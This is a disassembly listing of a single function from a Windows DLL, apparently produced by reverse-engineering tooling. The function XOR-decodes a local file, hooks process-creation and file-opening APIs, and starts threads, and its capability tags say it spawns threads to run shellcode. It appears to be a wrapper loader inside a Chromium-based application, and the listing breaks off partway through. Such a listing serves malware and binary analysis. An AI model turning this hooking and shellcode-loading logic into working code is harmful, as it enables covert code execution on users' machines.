Function at 0x10005c00
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Read file on windows
Set environment variable
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100fef50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x40c
push esi
push edi
push 0x104
mov dword [ebp - 0x28], 0
mov eax, ecx
push dword [0x10125708]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push eax
mov dword [ebp - 0x1c], eax
call esi
push 0x208
call fcn.100dafb6
add esp, 4
mov edi, eax
push 0x104
push edi
push dword [ebp - 0x1c]
call esi
push edi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push edi
mov ecx, 0x101256f0
call fcn.10008f90
push 0xa
push str._v8running
mov ecx, 0x101256f0
call fcn.1000a1e0
push edi
mov ecx, 0x10120dd4
call fcn.10008f90
push 0xd
push str.V8InitStatus
mov ecx, 0x10120dd4
call fcn.1000a1e0
push edi
lea ecx, [ebp - 0x58]
call fcn.10009100
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 4], 0
call fcn.10007300
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x58]
cmp dword [ebp - 0x44], 8
mov eax, dword [ebp - 0x48]
cmovae ecx, dword [ebp - 0x58]
lea eax, [ecx + eax*2]
push eax
push ecx
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x1b0]
call fcn.100098c0
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x28], 3
call fcn.10007240
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x44]
cmp ecx, 8
jb 0x10005d2d
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10005d23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f78
push ecx
push edx
call fcn.100dafa8
add esp, 8
xor eax, eax
mov dword [ebp - 0x48], 0
push edi
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
call fcn.10009100
push 7
push str._v8init
lea ecx, [ebp - 0x148]
mov byte [ebp - 4], 4
call fcn.1000a1e0
mov edi, eax
cmp dword [edi + 0x14], 8
jb 0x10005d6d
mov edi, dword [edi]
push ecx
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 5
mov dword [ebp - 0x18], 0x34
mov esi, 1
call fcn.10007cf0
push 0x10113650
push edi
mov byte [ebp - 4], 6
call fcn.100e2b3d
push 2
mov edi, eax
push 0
push edi
call fcn.100e26a6
push edi
call fcn.100e1d90
push 0
push 0
push edi
mov dword [ebp - 0x14], eax
call fcn.100e26a6
add esp, 0x24
cmp dword [ebp - 0x14], 0
jbe 0x10005e1e
push edi
push 1
lea eax, [ebp - 0xd]
mov dword [ebp - 0x24], esi
push 1
push eax
call fcn.100e3833
add esp, 0x10
test eax, eax
je 0x10005e1e
mov eax, 0x4104105
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x18]
shr eax, 6
imul eax, eax, 0x7e
sub ecx, eax
xor eax, eax
add edx, ecx
lea ecx, [ebp - 0x1f8]
cmp edx, 0x7e
cmovbe eax, edx
inc esi
mov edx, eax
mov dword [ebp - 0x18], edx
xor dl, byte [ebp - 0xd]
movzx eax, dl
push eax
call fcn.10008a60
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x24], eax
jb 0x10005dc0
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x1f8]
call fcn.10007c10
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x28], 7
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x1f8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ebp + ecx - 0x1fc], eax
lea ecx, [ebp - 0x1f4]
call fcn.10007b40
mov eax, dword [ebp - 0x1f8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1f8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1fc], eax
lea eax, [ebp - 0x1a8]
mov byte [ebp - 4], 7
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.100c811a
add esp, 4
lea eax, [ebp - 0xd0]
mov ecx, 0x10120d8c
push eax
call fcn.10002d40
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0x10
jb 0x10005efc
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10005ef2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f7d
push ecx
push edx
call fcn.100dafa8
add esp, 8
movzx eax, word [0x101136d0]
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 2
mov dword [ebp - 0x44], 0xf
mov word [ebp - 0x58], ax
movzx eax, byte [0x101136d4]
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 1
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], al
movzx eax, word [0x101136d8]
movups xmmword [ebp - 0xe8], xmm0
mov dword [ebp - 0xd8], 2
mov dword [ebp - 0xd4], 0xf
mov word [ebp - 0xe8], ax
movzx eax, byte [0x101136dc]
mov esi, 0xf
movups xmmword [ebp - 0x130], xmm0
mov dword [ebp - 0x120], 1
mov dword [ebp - 0x11c], esi
mov byte [ebp - 0x130], al
mov eax, dword [0x101136e8]
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0xc
movq xmm0, qword [str._cwdFromDll_]
mov dword [ebp - 0x104], esi
movq qword [ebp - 0x118], xmm0
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x418]
mov byte [ebp - 4], 0xc
push 0x104
push eax
call fcn.100e31d1
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x100]
push eax
call fcn.10009100
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0xd
call fcn.10007300
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
mov eax, dword [ebp - 0xf0]
cmovae ecx, dword [ebp - 0x100]
lea eax, [ecx + eax*2]
push eax
push ecx
lea eax, [ebp - 0x160]
push eax
lea ecx, [ebp - 0x1b0]
call fcn.100098c0
lea ecx, [ebp - 0x1b0]
call fcn.10007240
lea eax, [ebp - 0x160]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0xa0]
call fcn.100092f0
mov byte [ebp - 4], 0x10
mov al, 0
mov dword [ebp - 0x28], 0x7b
xor edi, edi
mov byte [ebp - 0xd], al
mov ecx, dword [ebp - 0x130]
lea esi, [ebp - 0x130]
test al, al
mov edx, 1
mov eax, dword [ebp - 0x90]
cmovne esi, ecx
cmp dword [ebp - 0x8c], 0x10
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x18], esi
cmovae ecx, dword [ebp - 0xa0]
mov dword [ebp - 0x20], ecx
cmp edx, eax
ja 0x1000614a
sub eax, edx
cmp edi, eax
ja 0x1000614a
test edx, edx
je 0x1000610f
movsx edx, byte [esi]
inc eax
add eax, ecx
mov dword [ebp - 0x14], edx
add ecx, edi
mov dword [ebp - 0x24], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.100dd210
mov edi, eax
add esp, 0xc
test edi, edi
je 0x1000614a
mov al, byte [edi]
cmp al, byte [esi]
je 0x100060e3
sbb eax, eax
or eax, 1
jmp 0x100060e5
xor eax, eax
test eax, eax
je 0x10006107
mov eax, dword [ebp - 0x24]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x14]
push edi
call fcn.100dd210
mov edi, eax
add esp, 0xc
test edi, edi
je 0x1000614a
mov esi, dword [ebp - 0x18]
jmp 0x100060d6
sub edi, dword [ebp - 0x20]
mov edx, 1
cmp edi, 0xffffffff
je 0x1000614a
cmp dword [ebp - 0xd4], 0x10
lea eax, [ebp - 0xe8]
push dword [ebp - 0xd8]
cmovae eax, dword [ebp - 0xe8]
lea ecx, [ebp - 0xa0]
push eax
push edx
push edi
call fcn.1000a360
add edi, dword [ebp - 0xd8]
mov al, byte [ebp - 0xd]
jmp 0x10006069
mov dword [ebp - 4], 0xf
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x40]
call fcn.100092f0
mov byte [ebp - 4], 0x12
mov al, 0
mov dword [ebp - 0x28], 0x80
xor edi, edi
mov byte [ebp - 0xd], al
mov ecx, dword [ebp - 0xd0]
lea esi, [ebp - 0xd0]
test al, al
mov edx, 1
mov eax, dword [ebp - 0x30]
cmovne esi, ecx
cmp dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x14], esi
cmovae ecx, dword [ebp - 0x40]
mov dword [ebp - 0x18], ecx
cmp edx, eax
ja 0x10006239
sub eax, edx
cmp edi, eax
ja 0x10006239
test edx, edx
je 0x10006210
movsx edx, byte [esi]
inc eax
add eax, ecx
mov dword [ebp - 0x24], edx
add ecx, edi
mov dword [ebp - 0x20], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.100dd210
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10006239
mov al, byte [edi]
cmp al, byte [esi]
je 0x100061e4
sbb eax, eax
or eax, 1
jmp 0x100061e6
xor eax, eax
test eax, eax
je 0x10006208
mov eax, dword [ebp - 0x20]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x24]
push edi
call fcn.100dd210
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10006239
mov esi, dword [ebp - 0x14]
jmp 0x100061d7
sub edi, dword [ebp - 0x18]
mov edx, 1
cmp edi, 0xffffffff
je 0x10006239
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x40]
push eax
push edx
push edi
call fcn.1000a360
add edi, dword [ebp - 0x48]
mov al, byte [ebp - 0xd]
jmp 0x10006176
mov dword [ebp - 4], 0x11
push 0x10120d8c
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x13
call fcn.100092f0
mov byte [ebp - 4], 0x14
mov cl, 0
mov dword [ebp - 0x28], 0x100
xor edi, edi
mov byte [ebp - 0xd], cl
mov eax, dword [ebp - 0x118]
lea esi, [ebp - 0x118]
test cl, cl
mov edx, 0xc
lea ecx, [ebp - 0x88]
cmovne esi, eax
cmp dword [ebp - 0x74], 0x10
mov eax, dword [ebp - 0x78]
cmovae ecx, dword [ebp - 0x88]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], ecx
cmp edx, eax
ja 0x10006383
sub eax, edx
cmp edi, eax
ja 0x10006383
test edx, edx
je 0x10006357
movsx edx, byte [esi]
inc eax
add eax, ecx
mov dword [ebp - 0x24], edx
add ecx, edi
mov dword [ebp - 0x20], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.100dd210
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10006383
mov ecx, esi
mov edx, edi
mov esi, 0xc
sub esi, 4
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x100062f7
add edx, 4
add ecx, 4
sub esi, 4
jae 0x100062e1
cmp esi, 0xfffffffc
je 0x1000632b
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x10006324
cmp esi, 0xfffffffd
je 0x1000632b
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x10006324
cmp esi, 0xfffffffe
je 0x1000632b
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x10006324
cmp esi, 0xffffffff
je 0x1000632b
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x1000632b
sbb eax, eax
or eax, 1
jmp 0x1000632d
xor eax, eax
test eax, eax
je 0x1000634f
mov eax, dword [ebp - 0x20]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x24]
push edi
call fcn.100dd210
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10006383
mov esi, dword [ebp - 0x14]
jmp 0x100062d5
sub edi, dword [ebp - 0x18]
mov edx, 0xc
cmp edi, 0xffffffff
je 0x10006383
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
push dword [ebp - 0x30]
cmovae eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x88]
push eax
push edx
push edi
call fcn.1000a360
add edi, dword [ebp - 0x30]
mov cl, byte [ebp - 0xd]
jmp 0x10006266
lea eax, [ebp - 0x88]
mov dword [ebp - 4], 0x13
push eax
mov ecx, 0x10120d8c
call fcn.10002d40
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x100063d2
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100063c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f82
push ecx
push edx
call fcn.100dafa8
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp ecx, 0x10
jb 0x1000641f
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006415
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f82
push ecx
push edx
call fcn.100dafa8
add esp, 8
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp ecx, 0x10
jb 0x1000646f
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006465
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f82
push ecx
push edx
call fcn.100dafa8
add esp, 8
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
cmp ecx, 0x10
jb 0x100064c8
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100064be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f82
push ecx
push edx
call fcn.100dafa8
add esp, 8
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0xec]
cmp ecx, 8
jb 0x1000650c
mov edx, dword [ebp - 0x100]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10006502
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f82
push ecx
push edx
call fcn.100dafa8
add esp, 8
mov byte [ebp - 4], 0xb
xor eax, eax
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 7
mov word [ebp - 0x100], ax
cmp ecx, 0x10
jb 0x1000656f
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006565
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f82
push ecx
push edx
call fcn.100dafa8
add esp, 8
mov byte [ebp - 4], 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x100065ab
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100065a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f82
push ecx
push edx
call fcn.100dafa8
add esp, 8
xor esi, esi
mov ecx, 1
mov edx, 0x101256b8
xor eax, eax
lock cmpxchg dword [edx], ecx
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x100065e9
cmp esi, 0x20
jae 0x100065d0
push 0
jmp 0x100065d2
push 1
call edi
inc esi
mov ecx, 1
xor eax, eax
mov edx, 0x101256b8
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x100065c7
cmp dword [0x101256bc], 0
jne 0x10006eba
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
test eax, eax
mov dword [0x101256bc], eax
mov edx, 9
mov ecx, 0
cmove ecx, edx
xor eax, eax
mov edx, 0x101256b8
xchg dword [edx], eax
test ecx, ecx
jne 0x10006ebe
push 0x104
call fcn.100dafb6
add esp, 4
mov esi, eax
push 0x104
push esi
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov ecx, esi
mov dword [ebp - 0x60], 0
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10006666
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x70]
call fcn.100030b0
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x5c]
mov eax, edx
mov ecx, dword [ebp - 0x60]
sub eax, ecx
push 0xb
push 0x10113704
cmp eax, 0xb
jb 0x100066b4
cmp edx, 0x10
lea esi, [ebp - 0x70]
lea eax, [ecx + 0xb]
cmovae esi, dword [ebp - 0x70]
add esi, ecx
mov dword [ebp - 0x60], eax
push esi
call fcn.100dcb20
add esp, 0xc
mov byte [esi + 0xb], 0
jmp 0x100066c5
mov byte [ebp - 0x20], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x20]
push 0xb
call fcn.10003190
cmp dword [ebp - 0x5c], 0x10
lea eax, [ebp - 0x70]
push 0
cmovae eax, dword [ebp - 0x70]
push eax
call fcn.100e3418
add esp, 8
test eax, eax
jne 0x1000679d
push str.DPIUnaware
push str.__COMPAT_LAYER
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SetProcessDpiAwarenessContext
push eax
mov dword [0x101256a8], eax
call esi
push str.SetThreadDpiAwarenessContext
push dword [0x101256a8]
mov dword [0x101256a4], eax
call esi
push str.SetProcessDPIAware
push dword [0x101256a8]
mov dword [0x10125690], eax
call esi
mov ecx, dword [0x101256a4]
mov dword [0x101256a0], eax
test ecx, ecx
je 0x1000674e
push 0xffffffffffffffff
call ecx
mov ecx, dword [0x101256a4]
mov eax, dword [0x10125690]
test eax, eax
je 0x10006761
push 0xffffffffffffffff
call eax
mov ecx, dword [0x101256a4]
push 0x1012569c
mov edx, 0x10005b60
call fcn.10004fd0
mov ecx, dword [0x10125690]
mov edx, 0x10005b60
push 0x101256ac
call fcn.10004fd0
mov ecx, dword [0x101256a0]
mov edx, method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_52
push 0x101256ac
call fcn.10004fd0
add esp, 0xc
mov ecx, dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0x10005950
push 0x10125698
call fcn.100c3682
test eax, eax
je 0x100067cd
push 0x41030
push str.DllWrap
push str.MH_CreateHook_CreateProcessW_err.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor esi, esi
mov ecx, 1
xor eax, eax
mov edx, 0x101256b8
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x10006805
cmp esi, 0x20
jae 0x100067ec
push 0
jmp 0x100067ee
push 1
call edi
inc esi
mov ecx, 1
xor eax, eax
mov edx, 0x101256b8
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x100067e3
cmp dword [0x101256bc], 0
je 0x1000698b
mov ecx, dword [sym.imp.KERNEL32.dll_CreateProcessW]
test ecx, ecx
jne 0x10006825
call fcn.100c35d2
mov esi, eax
jmp 0x1000684b
mov esi, dword [0x10125b98]
xor edx, edx
test esi, esi
je 0x10006846
mov eax, dword [0x10125b90]
cmp ecx, dword [eax]
je 0x100068c0
inc edx
add eax, 0x2c
cmp edx, esi
jb 0x10006836
mov esi, 4
xor eax, eax
mov edx, 0x101256b8
xchg dword [edx], eax
test esi, esi
jne 0x1000698f
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov edx, 0x10005a00
push 0x10124688
call fcn.100c3682
test eax, eax
je 0x1000688e
push 0x41030
push str.DllWrap
push str.MH_CreateHook_CreateProcessAsUserW_err.
push 0
call esi
xor esi, esi
mov ecx, 1
xor eax, eax
mov edx, 0x101256b8
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x100069ca
nop dword [eax + eax]
cmp esi, 0x20
jae 0x100069ad
push 0
jmp 0x100069af
cmp edx, 0xffffffff
je 0x10006846
mov eax, dword [0x10125b90]
imul esi, edx, 0x2c
test byte [esi + eax + 0x14], 2
jne 0x10006981
push 1
lea ecx, [ebp - 0x34]
call fcn.100c349f
mov eax, dword [0x10125b90]
add esp, 4
add eax, esi
mov dword [ebp - 0x18], eax
mov ecx, dword [eax]
mov al, byte [eax + 0x14]
and al, 1
movzx eax, al
lea esi, [ecx - 5]
cmove esi, ecx
lea ecx, [ebp - 0x1c]
push ecx
lea eax, [eax*2 + 5]
push 0x40
push eax
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1000692b
lea ecx, [ebp - 0x34]
lea esi, [eax + 0xa]
call fcn.100c3503
jmp 0x1000684b
mov ecx, dword [ebp - 0x18]
mov byte [esi], 0xe9
mov eax, dword [ecx + 4]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
test byte [ecx + 0x14], 1
je 0x10006949
mov eax, dword [ecx]
mov word [eax], 0xf9eb
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
xor esi, esi
or byte [eax + 0x14], 6
call fcn.100c3503
jmp 0x1000684b
mov esi, 5
jmp 0x1000684b
xor eax, eax
xchg dword [edx], eax
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push 0x41030
push str.DllWrap
push str.MH_EnableHook_CreateProcessW_err.
push 0
call esi
jmp 0x10006862
push 1
call edi
inc esi
mov ecx, 1
xor eax, eax
mov edx, 0x101256b8
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x100068b0
cmp dword [0x101256bc], 0
je 0x10006aef
mov ecx, dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test ecx, ecx
jne 0x100069ea
call fcn.100c35d2
mov esi, eax
jmp 0x10006a11
mov esi, dword [0x10125b98]
xor edx, edx
test esi, esi
je 0x10006a0c
mov eax, dword [0x10125b90]
nop dword [eax + eax]
cmp ecx, dword [eax]
je 0x10006a27
inc edx
add eax, 0x2c
cmp edx, esi
jb 0x10006a00
mov esi, 4
xor eax, eax
mov edx, 0x101256b8
xchg dword [edx], eax
test esi, esi
je 0x10006b0a
jmp 0x10006af3
cmp edx, 0xffffffff
je 0x10006a0c
mov eax, dword [0x10125b90]
imul esi, edx, 0x2c
test byte [esi + eax + 0x14], 2
jne 0x10006ae5
push 1
lea ecx, [ebp - 0x34]
call fcn.100c349f
mov eax, dword [0x10125b90]
add esp, 4
add eax, esi
mov dword [ebp - 0x18], eax
mov ecx, dword [eax]
mov al, byte [eax + 0x14]
and al, 1
movzx eax, al
lea esi, [ecx - 5]
cmove esi, ecx
lea ecx, [ebp - 0x1c]
push ecx
lea eax, [eax*2 + 5]
push 0x40
push eax
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10006a8f
lea ecx, [ebp - 0x34]
lea esi, [eax + 0xa]
call fcn.100c3503
jmp 0x10006a11
mov ecx, dword [ebp - 0x18]
mov byte [esi], 0xe9
mov eax, dword [ecx + 4]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
test byte [ecx + 0x14], 1
je 0x10006aad
mov eax, dword [ecx]
mov word [eax], 0xf9eb
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
xor esi, esi
or byte [eax + 0x14], 6
call fcn.100c3503
jmp 0x10006a11
mov esi, 5
jmp 0x10006a11
xor eax, eax
xchg dword [edx], eax
push 0x41030
push str.DllWrap
push str.MH_EnableHook_CreateProcessAsUserW_err.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edx, 0x10004df0
push 0x1012468c
call fcn.100c3682
test eax, eax
jne 0x10006c93
xor esi, esi
mov ecx, 1
mov edx, 0x101256b8
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x10006b62
nop dword [eax + eax]
cmp esi, 0x20
jae 0x10006b49
push 0
jmp 0x10006b4b
push 1
call edi
inc esi
mov ecx, 1
xor eax, eax
mov edx, 0x101256b8
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x10006b40
cmp dword [0x101256bc], 0
je 0x10006c78
mov ecx, dword [sym.imp.KERNEL32.dll_CreateFileW]
test ecx, ecx
jne 0x10006b82
call fcn.100c35d2
mov esi, eax
jmp 0x10006ba7
mov esi, dword [0x10125b98]
xor edx, edx
test esi, esi
je 0x10006ba2
mov edi, dword [0x10125b90]
mov eax, edi
cmp ecx, dword [eax]
je 0x10006bbd
inc edx
add eax, 0x2c
cmp edx, esi
jb 0x10006b96
mov esi, 4
xor eax, eax
mov edx, 0x101256b8
xchg dword [edx], eax
test esi, esi
je 0x10006c93
jmp 0x10006c7c
cmp edx, 0xffffffff
je 0x10006ba2
imul esi, edx, 0x2c
test byte [esi + edi + 0x14], 2
jne 0x10006c6e
push 1
lea ecx, [ebp - 0x34]
call fcn.100c349f
mov edi, dword [0x10125b90]
add esp, 4
add edi, esi
mov ecx, dword [edi]
mov al, byte [edi + 0x14]
and al, 1
movzx eax, al
lea esi, [ecx - 5]
cmove esi, ecx
lea ecx, [ebp - 0x1c]
push ecx
lea eax, [eax*2 + 5]
push 0x40
push eax
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10006c1e
lea ecx, [ebp - 0x34]
lea esi, [eax + 0xa]
call fcn.100c3503
jmp 0x10006ba7
mov byte [esi], 0xe9
mov eax, dword [edi + 4]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
test byte [edi + 0x14], 1
je 0x10006c39
mov eax, dword [edi]
mov word [eax], 0xf9eb
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [edi + 0x14], 6
lea ecx, [ebp - 0x34]
xor esi, esi
call fcn.100c3503
jmp 0x10006ba7
mov esi, 5
jmp 0x10006ba7
xor eax, eax
xchg dword [edx], eax
push 0x41030
push str.DllWrap
push str.MH_EnableHook_CreateFileW_err.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0xb8]
call fcn.10009100
mov esi, dword [ebp - 0xa4]
lea ecx, [ebp - 0xb8]
mov edi, dword [ebp - 0xb8]
cmp esi, 8
mov edx, dword [ebp - 0xa8]
push 0xf
cmovae ecx, edi
push str.__typerenderer
push ecx
call fcn.1000b150
add esp, 0xc
cmp eax, 0xffffffff
jne 0x10006cff
mov edx, dword [ebp - 0xa8]
lea ecx, [ebp - 0xb8]
cmp esi, 8
push 0x10
cmovae ecx, edi
push str.__single_process
push ecx
call fcn.1000b150
add esp, 0xc
cmp eax, 0xffffffff
je 0x10006d51
call sub.KERNEL32.dll_GetCurrentThreadId
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x100056c0
push 0
push 0
mov dword [0x1012570c], eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
push 0
push 0
push 0
push 0x10005140
push 0
push 0
